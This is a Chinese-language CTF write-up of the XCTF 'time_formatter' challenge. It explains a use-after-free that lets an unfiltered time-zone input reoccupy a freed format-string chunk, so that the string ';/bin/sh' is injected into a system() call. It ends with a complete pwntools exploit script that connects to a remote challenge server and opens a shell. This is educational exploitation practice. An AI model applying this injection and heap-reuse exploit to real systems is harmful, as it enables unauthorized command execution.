XCTF-time_formatter-WP

Posted on Dec 5, 2020

这道题很久之前就做到了,苦于是堆题一直没做,学了UAF之后再来做总算是PWN了,遗憾的是仍然是看了别人的WP之后才做出来的。

其实是非常简单的一个UAF

我们可以看到这里将ptr指向的字符串复制到了command中,然后system会执行这个command。虽然ptr这个字符串被引号括起来了,会被当成字符串处理,但是我们传入一个';/bin/sh'就可以了,这个时候相当于是执行了这样两个语句

/bin/date -d @%d + '';
/bin/sh''

第一个语句执行当然会出错,管他呢,第二个反正会执行,然后就拿shell了。

现在的问题就是如何使ptr的值变为';/bin/sh',ptr是在set format中赋值的,

具体来讲是通过strdup(char *str)这个函数实现的。百度百科对strdup的介绍

就是用堆来存了这个字符串。

然后字符串还会通过这个检查,我们想输入的分号和引号都不能出现。

但是set_time_zone这个函数却调用了同样的函数来输入并且没有做检查。这个时候我们就可以考虑先set format,这时堆内有第一个chunk,然后删除这个chunk(这里要注意,在exit这个函数里面会对ptr和value先进行free,然后让用户选择是否退出,这里选N是不会退出的,IDA里面的反编译是有问题的,这个从汇编代码上就可以看出),再使用set_time_zone输入';/bin/sh',malloc会分配前面的那个chunk给这个字符串,这时value和ptr就都指向这个字符串了,在调用print就可以拿shell了。最后的exp

from pwn import *                         
context.log_level = 'debug'               
                                          
sh = remote("220.249.52.133","49515")     
sh.sendlineafter(">","1")                 
sh.sendline("a")                          
sh.sendlineafter(">","5")                 
sh.sendlineafter("?","N")                 
sh.sendlineafter(">","3")                 
sh.sendlineafter("zone: ","\';/bin/sh\'") 
sh.sendlineafter(">","4")                 
                                          
sh.interactive()                          

最后总结一下,做了两道UAF之后,现在粗浅的认知就是通过重复利用堆块来破除对堆块数据(本不应该被修改的数据)修改的限制实现利用